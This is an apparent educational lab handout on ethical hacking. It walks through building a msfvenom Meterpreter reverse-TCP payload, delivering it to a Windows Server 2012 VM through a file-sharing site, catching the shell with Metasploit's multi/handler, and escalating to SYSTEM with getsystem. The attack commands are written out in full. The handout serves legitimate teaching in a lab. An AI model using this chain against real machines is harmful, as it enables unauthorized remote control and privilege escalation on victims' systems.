Ethical Hacking (Exploit Lab)

Pre-requisite Knowledge and Skills:

- 1. Be able to setup virtual machines and virtual network
- 2. Be able to test the connectivity of the virtual machines in the network

Learning Objective:

- 1. Break into Window Server Virtual Machine.
- 2. Get access to Windows Server Virtual Machine terminal (command prompt)
- 3. Elevate standard user access privilege to system administrator.
- 4. Add user profile on Windows Server Virtual Machine.

Recommended Running Environment:

- 1. Windows OS
- 2. Windows Server 2012 License (up to 90 days trial may apply)
- 3. VMWare Workstation or VMWare Player

Material/Tools:

- 1. The Kali Linux VM
- 2. The Windows Server 2012 VM

Demonstration Video:

1. VM Network Setup

Lab Assessment:

- 1. Lab 5 Assessment Quiz
- 2. The completion of the lab

Lab Instructions

Assume you have performed Lab 2, i.e., setup virtual network for the Win Server 2012 VM and Kali Linux VM.

Let's switch back to Kali Linux VM. Press CTRL + ALT key on your keyboard and click on Kali Linux VM tab on your VMware workstation.

File Edit View VM Tabs Help	📕 🕶 🖶 ₽ 🔑 🗖		
Library X	Home × 🔂 Windows Server 20	12 × kali-linux-2017.3-vm-am	id64 ×
Type here to search Type here to search My Computer Test Lab Server 2012	Recycle Bin	Click on Kali-Linux Tab	kali-linux-2017.3-vm-amd64
kali-linux-2017.3-vm-amd64			

Hit Enter and enter root user password (toor) to unlock the Kali Linux VM.

Foot		
Password:		
Cancel Unlu Log in as another user	ock 2. click l	

STEP 1:

In order to exploit the Windows Server VM, we need to create a Metasploit payload.

Open terminal from your Kali Linux VM Desktop quick lunch bar on you left. Click on 2nd shortcut icon from the top as show in the screenshot below.



Enter the following command on your Kali Linux VM terminal to create a Metasploit payload with reverse tcp connection from Windows Server VM. Make sure LHOST must have your Kali Linux VM IP address. The IP address may vary on your Kali Linux VM. You can verify your Kali Linux VM IP address with *ifconfig* command.

Command: *msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138* LPORT=4444 -f exe > /root/Desktop/Shell.exe



Please follow the following command on the screenshot to verify your Kali Linux VM IP address.



We need to share this Shell.exe file to our Window Server VM (victim machine).

STEP 2:

There are multiple ways to share file you can use any one of yours preferred way. We can easily share our Shell.exe file from <u>https://www.sendspace.com</u> on few steps. Find the steps as follow.

Open your web browser on your Kali Linux VM. You can find the web browser shortcut on Kali Linux Desktop quick launch bar on your left. Click the first shortcut icon to open web browser.



Enter <u>www.sendspace.com</u> on your web browser address field as show in the screenshot and simply drag and drop the file next to Browse button field.

TIPS: Hold left click button after you select the file "Shell.exe" drag the file to your desire location and release the left click button on your mouse to drop the file.



Now click on Upload.

(i a https://www.sendspace.com						C Q Sear	rch		z	1	↓ 1		≡
🛅 Most Visited 🗸 📲 Offensive Security 🎽	🔍 Kali Linux 🌂 Kali	i Docs 🌂 Kali To	ools 🍬 Explo	loit-DB 🐚 Aire	crack-ng ᠯ Kali	Forums 🌂 Ne	tHunter 🔪	Kali Training	🖲 Gettii	ng Starte	ed		
Sendspace Send, Receive, Track & Share You	our Big Files!						Log In	Sign Up 1	<u>Plans</u>	Tools	Conta	t Us	
Se	elected Files:						×						
		,	You can drag n	more files in he	re								
Des	scription (optional):							6					
Prot (opti	tection password tional):	please upgrade y Protected files can be users who know the	your Plan to u e only accessed protection passw	d by the file owner word	re and			C	WOR				
Max (* File	cupload size: 300MB le limit for free users is temp	oorarily back to 300MB	while we bring up	up new servers to h	andle the demand.				R'APP!	+			
To:	recipient@ema	ail.com		Click on	Upload 🖒	Uploa	d		20				
From	om: sender@email.	.com * By uploading you	u confirm your file	files comply with ou	Next step ur <u>Terms of Service</u> .	: Share or just store	e your files		9				

The file will be uploaded and prompt you with a download link page. You can simply copy the download link and open the download link from your Windows Server VM web browser and download the file.



STEP 3:

Let switch back to Windows Server VM and download the file from our shared download link.



From your Windows Server VM Desktop launch Firefox web browser. (Double click on the Firefox Desktop Shortcut)



Paste the copied sendspace download page link on your Windows Server VM Firefox web browser and hit enter to visit the download page.

👲 New Tab	× +
(←) → C û	Q Search or-enter address ✓ Undo Cut Paste Cut Click on Paste Paste Paste Linux web browser sendspace shared link. Plaste & Go Delete Select All
🍯 New Tab	× +
\leftrightarrow > C $rac{1}{2}$	Q https://www.sendspace.com/file/rb4s10 <> Download page link will be pasted on your address bar and hit enter to visit the download page.
	ttps://www.sendspace.com/file/rb4s10 — Visit

Click on blue Download button to start download your Shell.exe file.

↔ → ♂ ŵ	A https://www.sendspace.	com/file/rb4s1o	E ··· ♥ ☆ > Upload New File
	Content can It seems that you ar if it's your first time I	re not logged in to your account. here, please sign up – it's free.	in Sign up Fiix123
97	Shell.exe File Size: 72.07KB	fyw	imes Content can't be played
Try our android app!	D Save t	Click Here to Downlod the Shell.exe file	It seems that you are not logged in to your account. if it's your first time here, please sign up – hell.exe Log In

Click on Save file to save the Shell.exe file on your Windows Server VM

Content	can't be played	_
It seems that	Opening Shell.exe	Sign
if it's your fire	You have chosen to open:	orgin
	E Shell.exe	
	which is: Binary File (72.1 KB)	
l.exe	from: https://fs09n3.sendspace.com	
70.071/0	Would you like to save this file?	nt ca
ze: /2.0/KB	Click on Save File Save File Cancel	
		hat you a

You access your Shell.exe file after download is complete. Please follow the instruction as shown in the screenshot to access your downloaded file.

+			×
(i) 🔒 https://www.sendspace.com/file/rb4s1o	Ē ··· ♥ ☆ 🖒 ¥	\ ⊡	≡
	 Click on Download Icon to view your download file. 		
ownood	Shell.exe		Ê
	Completed — 72.1 KB		
Content can't be played	2. Click on Folder icon to access downlod folder location Show All Downloads		
It seems that you are not logged in to your account.			_

Downloaded file location on Windows Server VM

🔉 i 🕞 🖪 = i	Application Tools		Downloads				X
File Home Share	File Home Share View Manage					~ ?	
🍥 🍥 - 🛧 🚺 🕨 Cor	nputer ► Local Disk (C:) ► Users ► lab250 ► D	Downloads 🕨			~ ¢	Search Downloads	Q
🚖 Favorites	Name	Date modified	Туре	Size			
Desktop	📜 .extract	4/17/2018 10:05 A	File folder				
🐌 Downloads	🐌 WebGoat-OWASP_Standard-5.2	4/17/2018 10:07 A	File folder				
🐉 Recent places	🕌 burpsuite_community_1.7.33.jar	4/17/2018 9:49 AM	Executable Jar File	25,814 KB			
	burpsuite_community_windows-x64_v1_7	4/17/2018 9:46 AM	Application	92,201 KB			
闫 Libraries	FileZilla_3.29.0_win64-setup_bundled.exe	12/30/2017 12:35	Application	8,645 KB			
Documents	뛇 ImmunityDebugger_1_85_setup.exe	2/8/2018 11:38 AM	Application	22,217 KB			
🕹 Music	🛓 jxpiinstall.exe	4/17/2018 9:53 AM	Application	1,819 KB			
le Pictures	🚯 OpenSSH-Win64.zip	12/29/2017 6:04 PM	Compressed (zipp	3,133 KB			
🧸 Videos	🞼 putty-0.70-installer.msi	12/29/2017 5:23 PM	Windows Installer	2,874 KB			
	🚺 sendEmail-v156.zip	12/30/2017 8:35 PM	Compressed (zipp	1,419 KB			
ika Computer	Shell.exe	5/14/2018 7:25 PM	Application	73 KB <	🖯 Downloa	aded Shell.exe file.	
	🚺 vulnserver (1).zip	2/8/2018 2:04 PM	Compressed (zipp	22 KB			

Now we have successfully share the Metasploit reverse tcp file on our victim i.e. Windows Server VM.

Let's get back to Kali Linux and delete the Shell.exe shared file link at <u>www.sendspace.com</u>. Always follow a safe practice and don't miss use the exploit. Thank You!

Shell.exe (72.07KB)				
SHAF	RE this file WITH YOUF	RFRIENDS		
F БАСЕВООК	😏 TWITTER			
Direct Download Link				
Available for premiu	m users only			
Direct download link will start the do sendspace. This way you can link page. File served at maximum spee	wnload immediately, without redirectin from (or embed files directly into) web d and won't expire after 30 days of ina	g the downloader to a HTML page on -pages and the visitor will stay on the ctivity. See our <u>Premium plans</u>		
Pro Download Page				
Available for premiu	m users only			
Sendspace's download page withou File served at maximum speed and	t advertising. won't expire after 30 days of inactivity.	. See our Premium plans		
Download Page Link				
https://www.sendspace.com/file/rb4s1o Copy Link				
Sendspace's download page with a File served at limited speed and will	ds. be deleted if not downloaded for 30 da	ys.	-	
Delete File Link]	
https://www.sendspace.com/delete/rb4s1o/4007745 Copy Link Cick on copy Link button at De				
Share this link to allow the download	ler to delete the file. A confirmation will	be shown.		

Paste the copied link address on your Kali Linux VM web browser address field and follow the instruction on the screenshot and close the web browser after you are done.

1. Open a new tab and paste the address.			
sendspace Delete File - Mozilla Firefox	(•	
😭 Free large file hosting 🗴 🎓 sendspace Delete File 🗙 🕂 2. Right click on new tab address bar and click on paste			
(③ ▲ https://www.sendspace.com/delete/rb4s1o/4007745b2f2a678ef08947040b3d0f4b C Q Search ☆ 自 			≡
🛅 Most Visited 🗸 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kali Tools 🛸 Exploit-DB 📡 Aircrack-ng 🔟 Kali Forums 🌂 NetHunter 🌂 Kali Training 🧶 Getting 🕯	tarted		
Send Space Send, Receive, Track & Share Your Big Files!	Contac	<u>ct Us</u>	
File Deletion Confirmation	d New	File	
You are about to delete the folowing file: Shell.exe Please note: This action cannot be reversed. If you press the 'Delete File' button shown below, this file will be permanently removed from sendspace.			

STEP 4:

Open terminal on your Kali Linux VM. Click on terminal shortcut from Kali Linux Desktop quick lunch bar on your left.

folders.sh			
\diamond	root@kali: ~	• •	8
Terminal Click to acces	<pre>root@kali:-# msfvenom -p windows/meterpreter/reverse_tcp LH0ST=192.168.232.138 LPORT=4444 -f exe > /root/Desktop/Shell.exe No platform was selected, selecting Archi:x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes root@kali:-#</pre>		

Now let's start msfconsole from your Kali Linux terminal and start to exploit Window Server service.

Enter the following command on your Kali Linux terminal to start the msfconsole.

Command: *msfconsole*



It will take a while to start msfconsole be patient, after successfully loading a msfconsole msf> prompt will appear.



Enter the following command on msfconsole.

Command: use multi/handler

```
<u>msf</u> > use multi/handler
<u>msf</u> exploit(<mark>multi/handler</mark>) >
```

A msfconsole exploit prompt will be loaded and to initiate an exploit let's just create a reverse tcp payload on our exploit windows.

Command: set PAYLOAD windows/meterpreter/reverse_tcp

```
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) >
```

Set your attacker host IP address and Port number to establish a reverse tcp connection from our Shell.exe exploit file we just copied on our victim Windows Server VM

Enter the following command after set PAYLOAD command

Command: set LHOST 192.168.232.138

Command: set LPORT 4444



Make sure LHOST IP address must be your Kali Linux VM IP address. You can verify your IP Kali Linux IP address with *ifconfig* command as we did earlier.

At this point we have successfully created a Shell.exe reverse tcp Metasploit file and downloaded it to our victim PC i.e. Windows Server VM. Set the payload on msfconsole for reverse tcp connection and set the LHOST and LPORT number. Now we are ready to launch the attack.

Enter the following command on your Kali Linux VM exploit msfconsole.

Command: exploit



After entering the exploit command, your msf exploit window will open a connection on set LHOST and LPORT. Once our Kali Linux VM started reverse TCP handler on it IP address via designated port number.

We need to get back to our Windows Server VM and launch the Shell.exe file from download folder location.

Click on your Windows Server VM from your VMware workstation tab.

File Edit View VM Tabs Help	
Library X	Home × Gwindows Server 2012 × Gwindows Server 2012 × Kali-linux-2017.3-vm-amd64 ×
Q Type here to search	Windows Server 2012
🖃 💻 My Computer	Click on Windows Server
🕀 🛅 Test Lab	2012 to access Windows
🕞 Windows Server 2012	server 2012 VM
🔂 kali-linux-2017.3-vm-amd64	
E Channel VAA	

If you didn't change your download folder location address by default the file will to download under following location.

C:\Users\lab250\Downloads

Right click on the Shell.exe file from your Window Server 2012 VM download folder location and click on Run as administrator.

🐌 l ⊋ 🐌 = l		Арр	licatio	on Tools				Downloads		
File Home Share	View		Man	age						
(e) (e) → ↑ (i) → Co	mputer	► L		Open			nloads 🕨			~
				Pin to S	itart			-		
눆 Favorites	Name	2	•	Run as	administrator	<	ate modified	lype as adminitrator	Size	
Desktop	. "Į	extra		Trouble	shoot compatibility		/17/2018 10:05 A	File folder		
🐌 Downloads	l v	Veb		Share w	vith	+	/17/2018 10:07 A	File folder		
🐉 Recent places	🔮 b	urp		Pin to T	askbar		(17/2018 9:49 AM	Executable Jar File	25,814 KB	
		urp		Restore	previous versions		/17/2018 9:46 AM	Application	92.201 KB	
🧱 Libraries		ileZ		Send to)	+	2/30/2017 12:35	Application	8.645 KB	
Documents		nmi		Cut			/8/2018 11:38 AM	Application	22.217 KB	
🕹 Music	is is	miir		Сору			/17/2018 9:53 AM	Application	1.819 KB	
S Pictures		ner		Create	shortcut		2/29/2017 6:04 PM	Compressed (zinn	3 133 KB	
Videos		per l		Delete			D/20/2017 5:22 DM	Windows Installer	2,135 KB	
	l Mer p	ully		Renam	e		2/29/2017 5:23 PW	windows installer	2,074 KB	
	🔥 S	end		Propert	ies		2/30/2017 8:35 PM	Compressed (zipp	1,419 KB	
Recomputer	🔳 S	hell.	exe			5	/14/2018 7:25 PM	Application	73 KB	
	12			LT 1. R	ight Click on Shell.exe					
				file						

A user account control window will prompt with administrator privilege enter "Admin123" on Password field and hit enter or click yes to continue. If you enter a valid administrator password the Shell.exe file will execute with system admin privilege.

•	User Account Control
	Do you want to allow the following program from an unknown publisher to make changes to this computer?
	Program name: Shell.exe Verified publisher: Unknown File origin: Downloaded from the Internet
Тос	ontinue, type an administrator password, and then click Yes.
	Administrator
	N
💌 sr	now details Click Yes to execute the file

Now let's switch back to Kali Linux VM and you will notice a change on you msfconsole. A Meterpreter exploit session was successfully established between Kali Linux VM (attacker) and Windows Server VM (victim). We succeed to achieve our first objective, break into Windows Server VM.



Now verify our victim pc system information and make sure we have successfully break in.

On your kali Linux VM Meterpreter exploit console enter the following command.

Command: sysinfo



You can verify the information from your Windows Server VM. Switch back to your Windows Server VM. Enter [m] + [m] key on your keyboard. A run window prompt will appear enter *dxdiag* and hit enter.

127	Run	x
	Type the name of a program, folder, document, or Internet resource, and Windows will open it for you.	
<u>O</u> pen:	dxdiag	~
	OK Cancel <u>B</u> rowse.	
_		
System I	nformation	
	Current Date/Time: Monda	, May 1
	Computer Name: WIN-39	3QEP0G
	Operating System: Window	s Server

STEP 5:

Now let's get access to Windows Server VM shell/ command prompt.

Enter the following command on your Kali Linux exploit console.

Command: *shell*



Successful to exploit the Windows Server VM command prompt. Second objective completed.

Enter exit to get out form Windows Server command prompt.

```
C:\Users\lab250\Downloads>exit
exit
<u>meterpreter</u> >
```

STEP 6:

Now let's elevate the user privilege to system administrator.

Enter the following command on your Kali Linux VM exploit console.

Command: getsystem

```
<u>neterpreter</u> > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
<u>meterpreter</u> >
```

Notice after we execute the following command a message indicate with impersonation with Admin privilege.

Let verify where we are able to elevate the user privilege to system administrator or not.

Enter the following command on your Kali Linux exploit console.

Command: shell



Notice we have access to windows system32 system administrator shell prompt. Achieved third objective elevate standard user privilege to system administrator.